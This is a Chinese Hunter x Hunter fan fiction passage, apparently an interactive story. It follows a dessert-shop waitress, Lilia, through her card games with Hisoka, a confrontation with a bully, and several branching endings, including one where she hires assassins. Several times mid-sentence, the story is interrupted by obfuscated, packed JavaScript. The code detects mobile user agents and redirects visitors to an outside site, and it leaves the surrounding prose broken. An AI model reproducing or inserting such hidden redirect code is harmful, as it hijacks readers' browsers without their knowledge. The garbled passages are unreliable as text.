她不太确定这个改变是好是坏，也不太知道他究竟意欲何为，但西索显然不是一个会纵容她犹豫的人。 “你猜的没错，我是这样做的哦☆。” 他的声音突然贴近耳畔，荡漾着，轻佻地吹过她的耳侧。 在她还在纠结的时候，他已经替她做下了决定。 伸手扯开了他们之间的那张纸。 “……什么？” “和你打牌，让你输的时候，我就是这样做的。在原来的牌面上覆盖新牌。” 他温热的呼吸喷在她的耳廓，手指又一次点上莉莉娅手中的那张牌，然而这一次他没有再一触即分，而是也握住了那张牌。 他的手掌像一团燃烧的火，牌就那么小小的一张，被两个人握住势必要手掌交叠，于是西索的手指覆盖住了莉莉娅的，骨架比她要大上不少的，掌心也远比她手背粗糙的手蛇一样缠上来，多么暧/昧的动作，然而莉莉娅此时根本无意感受。 因为西索还在解释那场她输掉的，看上去已经放下但仍然耿耿于怀的牌局。 “莉莉娅从来都不记打出去的牌，所以一副牌里出现六个2也不会发现，结束了也不会点牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610259|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我就是这样赢的☆。” “即便点牌也来不及了吧。” 莉莉娅深吸了一口气，非常理智地指出了这一点。 “是哦~毕竟莉莉娅根本看不出来哦~”红发男人说着，松开了覆盖着莉莉娅的那只手，但却将那张牌留在了她手中，而后直起身，看向她：“那么，现在，你的心里在想什么呢☆？” “没想什么。” 莉莉娅语气僵硬地回复。 话出口，她自己都听出里面的情绪了，忍不住皱起眉，硬邦邦地又添上两句话：“虽然很生气，觉得你很不道德，从此不想理你，但是又有点高兴。” “为什么☆？” 西索对这个答案有点兴趣，于是发问。 莉莉娅其实不太想理他了。 但出于礼貌，出于差距有点大的实力，更出于他之前在她这里堆积出来的一点好感——是的，是有一点好感的。 如果初见的时候西索就作弊了，然后直白地和她摊牌他作弊的事情，她绝对不会再理他。 但普通人会因为相处久了就熟悉，就对熟人心软，甚至放宽底线。 所以莉莉娅虽然生气，但还是愿意和他说话。 “至少我还是会打牌的。虽然我觉得它并没什么用，也总是带来麻烦，但至少还在。” 从没有拥有过和拥有过又失去，是完全不一样的感受。 “但我还是不会再打牌了。也不是很想继续和你逛下去了。就这样回家吧。” 莉莉娅强调。 当然，她也没提那个要求的事情。 虽然西索作弊了，但输了就是输了，主要是她那时候也没发现，到头来还要西索自己告诉她他作弊了…… 当然，就算想赖掉也赖不掉，毕竟这个人可是西索啊。 总之，她还是欠了他一个要求。 既然那时候答应了，那现在也不会反悔。 莉莉娅这么想着，将手上这张牌递给他，在最后，向他问出她现在最想知道的问题：“那么，它到底是梅花K还是大王呢？” 红发男人笑了，他的红发在晚风中轻轻晃动，如同燃烧的火焰，而拥有这样火焰一样头发的人某些时刻却总给以人阴冷的印象。 而此时，他将牌的背面朝向她，说：“你猜~” 算了，还是不猜了。 毕竟西索会变牌，她永远都猜不对的。 这是根本不会赢的游戏。 意识到这一点的莉莉娅移开视线，不再看西索，也不再看那张牌了。 * 在莉莉娅开始沉默，开始无视他之后，西索就对这场‘约会’完全丧失了兴趣，没多久就一点也不绅士地丢下她离开了。 莉莉娅则选择继续排队。 不过因为他们聊天聊了很久，所以西索走后她等了几分钟就买到了想买的食物。 那么，那张牌到底是梅花K还是JOKER呢？ 因为觉得是永远都想不明白的问题，所以没有继续想了。 莉莉娅回家时天已经完全黑了下来，窄小的出租屋关门都会往下掉墙灰，她一边脱下外套，一边拿起自己放在桌上的小镜子，撩起额前的刘海看自己的额头。 额头上有红痕，但并没有破皮，睡一觉之后，明天应该看不出来了。 她松了口气，将镜子放回桌上，拽下右臂上的外套袖子，而此时，从外套口袋里突然飘出了什么东西。 是一张牌。 莉莉娅蹲下，捡起它。 牌的背面写着‘猜猜我是什么★？’ 翻开来，正面是彩色的「JOKER」。 15.方块2 从口袋飘出来的那张牌的牌面是JOKER。 牌上的小丑似乎拥有和西索相似的一张脸，但莉莉娅知道这或许只是她的错觉。 她拿着牌，学着西索的样子用食指轻点牌面，可牌面始终没有变化。 没有变成梅花K，也没有变成任何其他牌。 似乎只是一张普通的扑克而已。 于是她又把牌翻过来，背面朝上，去研究那几个字。 这是她第一次看到西索的字迹，不过她不是什么鉴赏大师，所以不评判他的字迹，只是将牌靠近灯光，侧过脸仔细观察字是由什么写成的。 扑克牌是硬纸，在上面正常写字，往往字会微微凹陷下去，但这张牌没有，也没有墨水流动的痕迹…… 莉莉娅伸手，用指甲扣了下字迹边缘，没扣下来。 ……算了，理解不了，就当是魔术吧。 莉莉娅叹了口气，将这张牌用磁吸吸在了冰箱上。 * 之后几天，西索没有再来甜品店，似乎暂时对莉莉娅丧失了兴趣，莉莉娅也如愿过了几天阔别已久的平凡的日子。 没有了特殊的客人，莉莉娅也从特殊的侍应生变成了普通的侍应生，不再总被叫出去了。 上班，微笑服务，应对形形色色的客人，下班，再上班。 周而复始。 每天都那么平淡，普通，平凡，除了客人不同外，并没有什么太大的区别。 来到甜品店的大部分是观众和游客，其中有不少人说着外语，莉莉娅听不懂，但已经练出了连比带划的交流手法，目前看来是没什么大问题的。 也许会有投诉，但店长从来不管这些。 极小部分的客人是参赛选手，这中间的大部分人都趾高气昂的，因为天空竞技场自带的热度给了他们过多的自信，他们从站上擂台的那一刻起就有无数观众为他们摇旗呐喊，让他们以为这些观众这些热度都是为了他们来的。 事实上并不是。 一百层以上的部分选手的确有这样的能力，但一百层以下的选手…… 即便莉莉娅才来到店里工作没有太久，也知道天空竞技场一百层以下是怎么样的机械化斗兽笼，更新换代极快，昨天还出现的选手明天可能就会消失不见，要么是死了，要么是残废了。 但每个人都觉得自己是不一般的。 …… “所以，他不来了？” 莉莉娅回过神，看向从后面蹿出来的，趴在柜台上的萝丝。 已经凌晨了，店里没客人，又到了可以闲谈的时候。 莉莉娅点了点头，刚想说什么，玛丽已经从另一边走了过来，替她说：“那样的人不来最好，多安全。” 三个服务员趴在柜台上有点太挤了，但她们都很瘦，天也不热，肩膀抵着肩膀胳膊抵着胳膊也不嫌弃对方，莉莉娅看了一眼玛丽，抿了一下嘴唇，正想说话，萝丝又替她开口了：“那是你，莉莉娅不这么想，对不对？” 莉莉娅歪了歪头，指了下自己，问她：“我怎么想？” “嗯哼~嘿嘿！”萝丝怪腔怪调地学某人发出轻哼，很像，但很搞笑，所以她自己也笑了，然后直起身，从挤挤的柜台退出，半侧身倚靠在收银机上，揶揄莉莉娅，“你要是不想他来，怎么总是走神呢？” “那当然是因为担心他来。”玛丽替莉莉娅争辩。 有人为自己说话的感觉实在太好了，莉莉娅心里感激，也立刻点头：“对，因为担心他来。” “是吗？”萝丝完全不信，盯着莉莉娅，又把话题绕回了最开始，问，“那么他到底为什么不来？你们上次约会吵架了？” “他是那种和别人吵架了还会放别人安全回来的人吗？” 玛丽又替莉莉娅回答了。 太棒了！ 但萝丝完全不会被这样的小小反驳打倒，她哦了一声，坦荡地承认了自己的错误：“的确不像。” 她说。 然后，她又执著地看向莉莉娅，问：“所以为什么不来了？莉莉娅，你说话呀！” 这个问题玛丽无法再替她回答了。 但莉莉娅自己其实也不知道为什么。 谁能揣测西索的心呢？ 她侧过脸，低下头，透过玻璃去看柜台橱柜里的蛋糕，一边稍带敷衍地胡说：“我也不知道。可能觉得无聊了吧。” “真是阴晴不定的男人。”玛丽评价。 萝丝却完全不这么想。 她不知道西索和莉莉娅之间发生的砍手小故事，也不知道莉莉娅已经输给了西索，在她看来，就是莉莉娅的牌技征服了他，所以非常乐观：“说不定是欲擒故纵！说不定是因为你太冷淡了，他想勾-引你主动去找他！” “……西索……不像这种人吧……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果能让他痛快地说出来，就这样解决要求，斩断所有的关系就好了。 说不定她的生活会归于平静。 但也许吊着她也是西索的恶趣味之一，她主动去问可能什么都得不到。 那么，要去看华石斗郎的比赛吗？毕竟上次答应过他。 而且，违背诺言是不好的。 或者，干脆不要去天空竞技场好了，难得的假期不应该多休息一下吗？就在家里睡觉吧。 那么，莉莉娅决定—— A.去看西索的比赛 B.去看华石斗郎的比赛。 C.哪里也不去，好好休息吧。 16.黑桃A B.莉莉娅选择去看华石斗郎的比赛。 * 竞技场的灯光如白昼般明亮，照在华石斗郎绿色的长发上，使得那发丝像风吹过森林造成的叶的波纹，而现在，拥有这样头发的男人穿过长长的甬道走了过来。 他刚结束比赛，对战的很轻松，连汗都没有出。 如果是西索，现在肯定要说这样的对手多令他失望了，但华石斗郎并不是这样的性格。 他只是走到莉莉娅面前，露出一个温和的笑容，眼角微微弯起，说：“谢谢你来支持我。” 他非常有礼貌，和西索完全不同。 于是莉莉娅也不再盯着他想别人。 她双手合十夹住她下注的票据，笑起来，脸颊因为一日之间赚了几万戒尼而泛红发热，但此时也顾不上这些了，她发自内心地对华石斗郎感谢道：“谢谢你让我赚钱了！” 华石斗郎笑了一下，也许是这样的客套话已经听惯了，他并没有回应，只是问：“你还有押别人吗？今天西索也比赛哦。” 莉莉娅摇摇头，因为此时不想提起西索，所以她当作没听到他的后半句话，连珠炮似的开始说别的事情： “没有哦。我只押了你。毕竟我似乎在这方面没有什么天赋。对了，欢迎你来我工作的地方用餐，我给你打折——上次忘记问了，你讨厌吃甜食或者饮料吗？如果你讨厌的话，那可能我工作的店里就不太适合你了……” 绿色长发的男人眼眸中闪过一丝笑意，说：“还可以。” 只是不知道是客套还是真心话了。 不过这也是没必要思考的事情。 “那太好了！” 莉莉娅很高兴地一拍手，顿了顿，又想起了什么，有点犹豫地说：“对了，关于，打牌的事情……” 她似乎有些难以启齿，华石斗郎体贴地接着她的话往下问：“嗯？又赢了吗？你最近很有名哦。” 莉莉娅歪了歪头：“很有名？” “对，我最近听到有些人在谈论附近甜品店里有个打牌常胜不败的服务员。” “……到底是谁传出去的啊！” 莉莉娅有点无语。 玛丽经过上次的事情之后已经不再向外传播她是赌圣的话了，其他同事也没这么八卦，一时间莉莉娅还真想不出是谁在外给她造谣，所以显得很愤愤。 但只是忿忿，毕竟她不知道是谁传播的，知道了也不知道该怎么报复。 华石斗郎被她的反应逗笑了，他抿了一下嘴唇，提醒她：“你打牌那么多次，肯定有不少围观者吧？” “……的确。” 莉莉娅反应过来，有些懊恼地哦了一声。 没办法，因为华石斗郎气质比较温和，所以他虽然很强，但是莉莉娅和他相处的时候没感到危险，所以就把他当普通人对待了。 简而言之就是，一般情况下莉莉娅不太动脑子，所以会说一些很笨的话。 当然，比起对西索那样严阵以待，恨不得在答话之前思考八百回……还是和华石斗郎这种人相处更舒服。 不过华石斗郎看来也不在意就是了。 莉莉娅这么想着，终于回忆起了她一开始想说什么，补充道：“但我已经输了。” 华石斗郎有些惊讶：“输给谁了？” “是西索啦！” 她说。 “……意料之中呢。” “总之，其实我已经不是常胜不败了！倒也是好消息。” 莉莉娅说着，晃了晃脑袋，像是要甩掉什么不好的回忆似的用力摇头，不愿意再在这个话题上继续了，她看向华石斗郎，说：“再说这些也没用啦！你下场比赛是什么时候？我还来！” 毕竟像这样稳赚不赔的赌局可不是每次都能遇到的。 华石斗郎理解她，应该也见惯了这样的人，并没有露出嫌恶的神色，反而笑着说：“现在还没有出对战表，到时候我把门票送给你吧。” “！真的吗！” 听到有免费的比赛看，莉莉娅的眼睛瞬间亮了起来，虽然门票也不贵，但华石斗郎算是热门角色，票可难抢，需要提前来排队才能买到，但现在居然能白送！ 华石斗郎笑了一下，点点头说：“真的。” “太谢谢你了！” 她双手合十，忍不住冲他鞠躬！ * 几日后，甜品店内。 “别给脸不要脸，你是乖乖坐下来打牌，还是等我把你腿打断之后再打牌？反正你打牌也不需要用腿吧？哈哈哈哈哈哈！！” 带着一群喽啰来甜品店闹事的男人咧着一口烟熏出来的黄牙，乱糟糟的黑发贴在额头上，脸上横肉随着笑声不停抖动，又故意将指关节按得咔咔作响，就这样站在收银台前完全把别人结账的路堵住了，也把其他人出柜台的路堵住了。 虽然有人从后门跑出去了，但不知道警察多久才来，店里的同事没人能和这群人对抗，莉莉娅也不会让没能力的大家替自己出头，所以一个人站在柜台后面面对这群家伙。 “……完全是无赖啊。” 莉莉娅强忍着反胃的感觉，指甲深深掐进掌心，凝视着对方。 这个人虽然来挑她的事，但并不是专门为她来的。 他对西索抱有很大恶意，但莉莉娅猜想他甚至没资格和西索对战，否则怎么可能安然无恙地站在这里？ 总之，这几个不服西索的人听说莉莉娅牌技很好还战胜西索所以来挑事，好像想通过赢了她来赢了西索。即便莉莉娅解释她已经输给西索了他们也不信，一直在这里纠缠不休。 “无赖怎么了！你们这种底层垃圾能和老子说话已经是恩赐了，老子都没问你们要钱呢！” 他猛地拍向柜台，震得杯盘叮当作响。唾沫星子从他的嘴角飞溅而出，恶心到莉莉娅恨不得后退一百步，但她已经退无可退。 实在是太过分了。 但甜品店的大家都是普通人，没人能和这样的家伙过招，即便警察来了，在他没有动手的情况下也不会把他这个天空竞技场的选手怎么样。 而且警察不能次次都来，莉莉娅也总有落单的时候，如果他们在她下班回家的路上堵她，那甚至都没有挣扎的机会了。 还不如现在应下他再说。 但如果输了，肯定会被狠狠侮辱羞辱。 如果赢了，也许会被别人污蔑是出老千，说不定要砍手。 那么干脆让他们准备牌，让他们发牌，但万一他们之中存在和西索一样会变牌的人怎么办？ 莉莉娅心中闪过很多想法，但很快在权衡利弊之下想到了相对而言比较好的方法，正要开口时，人群后突然有人发声了—— “是吗？那在此之前，你先和我打一场吧。” “谁啊！” 闹事者猛地转身，脸上横肉狰狞地扭曲着，人群在他的视线投来的一瞬间散开，可当看清来人时，闹事者嚣张的表情瞬间凝固了。 即将打上两百层的天空竞技场热门选手——华石斗郎静立在那里。 比起闹事者，他显然更为有名，人群里有很多人都认识他，说他是超高人气选手，支持者众多，实力可能和西索不相上下——因为二人还没对战过，所以谁也不知道他和西索哪个更厉害。 但他显然比闹事者厉害的多。 也许是实力差距太大了，华石斗郎甚至没有看脸色骤变闹事者，而是朝莉莉娅展示了一下手中的比赛门票。 “我来送答应你的门票，莉莉娅。” 在他展露出和莉莉娅熟识之后，闹事者已经踉跄着后退了两步，脸上写满了惊恐，他身后那些喽啰更是像见了猫的老鼠，缩着脖子直往人群里钻。 莉莉娅不明白，为什么他都打着‘想看看打败西索的女人是谁’的名头来挑事了，居然还会怕华石斗郎？ 难道他觉得西索未来不会找他麻烦么？ 搞不懂。 但这一切都不重要了。 总之，华石斗郎无视了他们，看向柜台后面穿着侍应生制服的莉莉娅，说：“没想到居然遇到了扫兴的人。莉莉娅，你需要我帮忙吗？” “当然了。麻烦你了！” 既然他主动说了，莉莉娅当然毫不犹豫地请求华石斗郎帮助。 骨气，尊严，都是基于自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633364|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有本事且不拖累别人的情况下才能拥有的东西。 面对比自己强大很多倍的人，如果没人可以帮自己，那只能咬牙硬抗，可如果有人愿意伸出援手，可以帮自己解决，那当然是再好不过的事情。 毕竟她只是普通的侍应生而已。 莉莉娅看来很难解决的事，在华石斗郎看来似乎无比轻松。 长相英俊实力强进的华石斗郎甚至没有动手，只是出现，说了几句话，就帮她赶跑了那几个讨人厌的家伙。 他私下里他和她说，他将会找到那几个人，好好威胁一顿，确保他们永远不会来找她们店的麻烦。 店里的大家都很感谢他，说如果以后来店里会给他免单，还说要请他吃饭，但华石斗郎很客气地拒绝了。 他将比赛门票交给莉莉娅之后，就像来时那样无声无息地离开了店铺。 事情发生的第二天，罪魁祸首西索才来到店里听莉莉娅说完了故事的全部发展。 在莉莉娅看来很惊险的事情，在西索看来不过是用牌搭桥时的背景音而已。 不过在她讲完之后，西索终于把视线从牌上移开，从今天出现到现在第一次真正地看向了莉莉娅。 他的金色的眼睛里倒映着金发少女的身影，但这双眼睛没有再打量她，也没有含着笑意了。 这双眼睛的主人此时嘴角也没有了笑容。 他板着脸，似乎遇到了什么让他很不满的事情，以至于他甚至懒得笑了。 莉莉娅甚至以为他要杀死她，尽管她根本不知道为什么。 但最终，他没有动手。 他只是推倒了已经搭成桥的牌，将它们合拢，洗牌，一边遗憾地哀叹：“真无聊，莉莉娅。你的反应比我想的无聊无趣多了★……你，连苹果都不是哦。” 他抱怨很多次无聊，但从来没有说过她无聊。 这是第一次，也是最后一次。 他否定了她，否定了他擅自给她贴上的标签。 没有听到更有趣的事情发展，因为她选择了最大众的解决方式，所以，西索就这样突然对她失去了兴趣，但也没有杀死她。 因为她似乎已经变成了无趣的，完全不值得他动手的人。 也许她本来就是这样无趣的人，是西索自顾自地在她身上投射了有趣的幻想。 当然，从某种方面来说，他其实本来对她兴趣就不大。 拥有超高牌技和稍微有趣性格的莉莉娅，只是在他追寻强者的道路上突然出现的调剂罢了。 一个稍微有趣的玩具，能打发时间最好，不能打发时间也不值得他勃然大怒。 那个一直牵扯着他们见面的‘要求’就这样被他遗忘了，他们谁也没有提起这件事。 西索也再没有来过这个甜品店。 不久之后，莉莉娅听说西索打败了华石斗郎，就此离开了巴托奇亚共和国，也许如他所说，他去考猎人证了。 被击败的华石斗郎似乎陷入了某种状态中，在勤加练习武艺…… 但那和莉莉娅毫无关系。 莉莉娅的生活终于恢复了平静。 后面过了一年多，听说西索又重回故地打天空竞技场了，但他依旧没有再踏足过甜品店，莉莉娅也没有再见过他。 只是偶尔会来甜品店的华石斗郎在某天起没再光临她们的店铺。 听说是在对战中被西索杀死了。 莉莉娅短暂伤心遗憾了一会儿，然后就没有然后了。 毕竟本质上这也和莉莉娅没什么关系。 而且，更重要的是—— 莉莉娅所在的甜品店突然被一个银发小鬼下了高达多亿戒尼的巧克力订单，正在夜以继日地赶工制作中！ 真是平凡而又忙碌的生活呢！ 莉莉娅的直觉告诉她，她人生中唯一的变数已经离她而去，她不再有被拽离‘普通’的风险，她的人生会继续这样平凡下去。 事实也的确如此。 她将继续周而复始的工作，休息，偶尔娱乐，直到老去，直到迎来平凡死亡的那天。 「Normal Ending·莉莉娅的平凡人生」 17.黑桃2 A.莉莉娅选择去天空竞技场找西索。 * 做出这个决定其实很简单。 莉莉娅想，也许应该去问问西索给她那张牌是为什么，也许应该问问他究竟想没有想到那个要求，也许…… 也许萝丝的话的确在她心中造成了奇怪的影响。 尽管莉莉娅不愿意承认。 总之，她前往了天空竞技场。 买票，押注，坐在观众席看西索的比赛，因为在对战开始后所有人都站了起来，所以她也站了起来。 像上一次那样，西索用比较血腥但干脆利落的手法击败了他的对手。当然，时间可能更久一点，不过莉莉娅想，大概他还是没有尽兴的。 周围的人都在欢呼西索的名字，站在台上的西索却只是垂下头看手中的牌，莉莉娅猜那张牌也许是JOKER。 也许。 她今天想也许的次数有些太多了。 正当莉莉娅为此感到古怪时，西索，站在擂台中央的西索突然抬起头，看向她。 隔着重重叠叠的人群，抬起脸，看向在观众席之上的她。 用那双金色的，鹰一样的眼睛。 他看向她，然后在她做出反应之前就移开了目光。 …… 西索看到了她，但没有说话，也没有做出任何表情，更没有来找她。 在那一瞬间，莉莉娅意识到他对她的兴趣彻底消失了。 萝丝说错了。 西索没有来找她不是因为什么欲擒故纵，是因为他对她的兴趣消失了大半，所以不愿意天天来了。 但在这时刻，她却主动来找他了。 是多么普通的行为啊。 像每一个自诩普通却总不自觉被危险吸引的普通人一样，无法克制对危险的痴迷，于是寻找一万个理由仅仅为了再去触碰一次危险。 飞蛾扑火。 太普通了，太无趣了。 于是，西索对她仅剩的那么一点兴趣也消失了。 也许今天来找他是个错误的决定。 但换个角度想，谁说不是正确的呢？ * 西索对她的兴趣消失了，但他造成的影响还在。 莉莉娅不再想他，可她在牌技上打败西索的名声不知何时传了出去，以至于看不惯西索的人带着一群人找到了甜品店，逼迫她必须和他打上一局。 对方似乎也打天空竞技场，实力没有西索和华石斗郎强，但对付甜品店里的普通人还是很轻松的。 因此，莉莉娅只能站出来和他打牌。 不过，在打牌前，她要求赌钱。 就像赌场那样来。 挑事者对他自己的实力非常有自信，答应了莉莉娅的要求。 也许是他也有什么出老千的方法吧。 但他没有像西索一样变牌的实力——当然，有这么多人看着，即便莉莉娅不记牌，其他人也会帮她记的。 所以莉莉娅赢了。 无论是这种形式的扑克对战，还是抽几张牌比大小，还是牌九，闹事者都输了。 但他不服气，于是筹码越加越大，越加越大，等到最后，他已经赌上了整整十亿戒尼。 打到天空竞技场200层的奖金似乎就是这么多。 “你必须打到200层然后把奖金给我。如果做不到的话，就考虑用其他东西代偿吧。” 最后一局轻松结束，莉莉娅将手中的牌丢回牌堆，这么和他说。 挫败的男人捂着脸。 然后，掀翻了甜品店的桌子，在人们的惊呼声中跑掉了。 莉莉娅当然没有办法阻止他跑掉。 但是从那一刻起她陷入了沉思之中。 对方来闹事，对方强逼她打牌，对方许下诺言，对方逃走。 她从始至终没有办法抵抗，到最后也没法阻止他跑走，他在沉寂一段时间后仍然可以重新去天空竞技场比赛，重新获得人气，没有人会再提起这场失败的，耍赖的赌局。 当然，他未来甚至可以私下再来找她麻烦，甚至在她回家的路上杀死她，以绝后患。 没人会在意一个甜品店服务员的性命的。 莉莉娅很清楚地知道这一点。 但是，这种事情是可以允许的吗？ 莫名其妙在路上被陌生人杀死不太正常，但仔细一想也情有可原，毕竟实力强的人总是阴晴不定，运气不好撞上了也只能认命。 可自己明明是被挑衅的人，赢了牌，最后没有拿到钱，却还要被输家杀死，这也太不公平了吧？ 太不公平了。 更何况—— “答应的事情就要做到。” 莉莉娅一直在脑中重复这段话。 “答应的事情就要做到。” 莉莉娅重复着，侧过脸看向高耸入云的天空竞技场。 太高了。 她永远也触摸不到它的顶端。 凭借她自己的话，也许一辈子也没办法让他付出代价吧。 无论是拜托西索还是华石斗郎都太超过了，那不是他们的事情，她和他们说到底也不熟，就算腆着脸寻求他们的帮助，他们也不一定就真的会同意帮忙。 但是，这种事情怎么能被允许呢？ 在她的面前得罪她，侮辱她，输给她，又不践行诺言，甚至未来还可能反过来威胁她。 这种事情，怎么能被允许呢？ “答应的事情就要做到。” 她想。 即便迈出这一步之后就会远离普通人的生活也没关系，因为也许这世上有比这些更重要的东西。 莉莉娅下定了决心。 她侧过脸，看向同事。 “玛丽，我们附近有赌场吗？” 她问。 * 振铃音响了几下后被接起，电话那头是个很年轻的，没什么波澜的男声。 “你好，这里是揍敌客。” 世界第一的杀手家族——揍敌客家族。 位于巴托奇亚共和国的枯枯戮山，和天空竞技场处于同一个国家，是著名的旅游景点，有名到人尽皆知的地步。 只要有钱，杀人的事情尽可以委托他们做。 “我想让你们帮我杀一个人，实力大概是天空竞技场一百层左右吧。他欠我大概十亿戒尼——当然，我猜，他账户里的戒尼其实应该只有两三亿左右。” “我们只负责杀人，不负责要债，你也不能拿他欠你的钱作为给我们的佣金。” “我知道。我的意思是，他账户里的钱你都可以拿走。作为雇佣费，我还会再付给你一亿。” * 在那通电话结束后的第二天，欠莉莉娅钱的人从天空竞技场的他自己的房间内坠楼而死。 这件事很快传开了，那天上班时店里的同事一直在说这件事情，莉莉娅说这就是报应，同事们说哪里有报应，说不定是谁为了给她出气才这么做的。 “你是说西索么？” 莉莉娅侧过脸，看向凑到自己身边，一脸兴奋的萝丝。 萝丝似乎对西索还念念不忘，执著地认为这事是西索干的，听她这么说，连连点头。 莉莉娅摸着下巴沉思了一会儿，而后居然点了点头，赞同了她的话：“你说的有道理！说不定真的是他呢！毕竟能这样杀人杀的干脆利落的人也只能是他了！” 她微笑着这么说。 不知道为什么，明明答案是自己想听到的，可萝丝却觉得莉莉娅有些不同了。 不过，‘可能’杀死闹事者的西索再也没有出现在甜品店里，萝丝也没办法找到西索问个究竟。 很快，西索离开了巴托奇亚共和国，大家也都把这件事淡忘了。 萝丝似乎很可惜西索的离开，但这些实际上都和莉莉娅毫无关系。 莉莉娅的生活恢复了平静。 后面过了一年多，听说西索又重回故地打天空竞技场了，但他依旧没有再踏足过甜品店，莉莉娅也没有再见过他。 只是偶尔会来甜品店的华石斗郎在某天起没再光临她们的店铺。 听说是在对战中被西索杀死了。 不过那也和莉莉娅没什么关系。 因为莉莉娅的甜品店突然被一个银发小鬼下了高达多亿戒尼的巧克力订单，正在夜以继日地赶工制作中！ 可恶的小鬼！有钱就了不起吗！ 总之，真是平凡而又忙碌的生活呢！ 后来，甜品店里再也没有出现过闹事的人。 莉莉娅继续作为侍应生工作了下去。 平凡的。 但她知道，在这平凡的人生下，其实有什么东西被改变了。 不过没有关系，因为如非意外，莉莉娅将永远不会再提及自己的牌技，永远不会再打牌了。 因为她只想过平凡的人生嘛。 但希望那个银发小鬼别再来了。 【Normal Ending·甜品店的守护者】 —— 「分支线1」 一个晚上就能赚一亿戒尼，这岂不是比工作来钱快多了？ 莉莉娅尝到了甜头，从此一发不可收拾了。 当没有接触这些的时候，她还尚不觉得什么，可一旦接触到，她执着于普通人生活的心就被侵蚀了。 能这样赚钱，谁还想辛苦地工作呢？ 很快，在享受到有钱人生活之后，在享受到特权之后，莉莉娅那执着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639575|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于普通人生活的心就彻底消失了。 赢得多了，仇家也多，所以莉莉娅开始雇佣保镖。 一开始，有点功夫的保镖就可以保护她，但随着名气变大，来刺杀她的人也变多了，她的保镖中介开始给她推荐特殊之人。 拥有‘念’的人。 那时候，她一下就想起了西索。 她终于明白那时候的西索是靠什么变牌的。 大概也是念一类的东西吧。 听说念有很多种能力，就是不知道他的能力是哪一种了。 不过那时，她已经很久没听到西索的消息了。 对她而言，西索也不过是她未成名前偶遇的路人之一而已，现在她甚至连他长什么样子都记不起来了，只记得他有一头红色的头发，一双金色的眼睛，以及脸上水滴和星星的油彩。 都不重要了。 雇佣了拥有‘念’的保镖之后，为了以防万一，莉莉娅还雇佣揍敌客成为了自己的长期保镖——虽然很贵，但对现在的她而言，钱是最不重要的东西。 当然，一般来说保护她不需要太多的难度，所以一般都是揍敌客家最小的儿子柯特·揍敌客来，时间久了，也算和他脸熟了。 不过后来，莉莉娅听说柯特和伊尔迷后面加入了什么旅团……？ 总之没影响对自己的保护工作，所以她也没有多问。 她就这样继续赌了下去。 渐渐地，常胜不败的莉莉娅成为了巴托奇亚共和国境内除枯枯戮山的揍敌客家外的第二个招牌——赌场的莉莉娅。 【Normal Ending·赌场的莉莉娅】 —— 「分支线2」 很多年后，莉莉娅的赌场里面来了一个新人。 新人打败了所有的人，赢得盆满钵满之后，向赌博界最高的山——莉莉娅发起了挑战。 筹码垒得一次比一次高，战况一次比一次焦灼，这样的状况莉莉娅也曾遇见过，但每一次幸运女神都会站在她这一边。 这一次也—— 这一次出现了意外。 她输了。 其实一直以来她只是依靠运气赢牌罢了，失去了运气的她什么都不是。 她输了人生中第一场——哦，不，好像不是第一场……什么时候输过呢？ 不记得了。 总之她输了。 代价是一切。 她看着牌桌面前年轻的挑战者，意识到对方战胜了自己之后会登上她的王座成为新王。 但是…… “久赌必输啊。” 她突然意识到。 今日的她，也许就是未来的对方。 但这一切和莉莉娅都没有关系了。 输光了一切的她不再有雇佣揍敌客的资本。 在离开赌场的那一刻，就被多年的仇家买凶杀害——她当然有很多仇家，因为她是那样的坚信她自己的理念，要付不出代价的人付出代价，因此有无数人在输光之后欠她钱，又因为还不上钱被杀害。 所以，当然有很多人恨她了。 所以，当然有很多人要买凶杀她了。 被雇佣的杀手正是伊尔迷·揍敌客。 莉莉娅黑灰人生的起点和黑暗人生的终点。 那天是一个雨夜。 她的尸体倒在地上，她的血蜿蜒着向下，融进雨水里。 杀死她的长发杀手还蹲下身，用手测了一下她脖颈处的脉搏。 那双绿色的眼眸黯淡着，再也不会亮起来了。 她几乎没有感受到疼痛就死去了。 也许是因为伊尔迷·揍敌客杀人总是这样干脆利落，又也许是她雇佣了揍敌客这么多年后的最后福利。 不过，死去的莉莉娅已经无法思考这些了。 那么，在生命的最后一秒钟，她想起的是什么呢？ 是西索？ 当然不可能。 她已经完全把这个人忘了。 那么她想起的是什么呢？ 只是一段很普通的对话。 “莉莉娅！你的牌技很厉害，为什么不去赌场试试呢？” ……是谁在说话？ “可是，总会有比我更强的人。” ……是谁在说话？！ 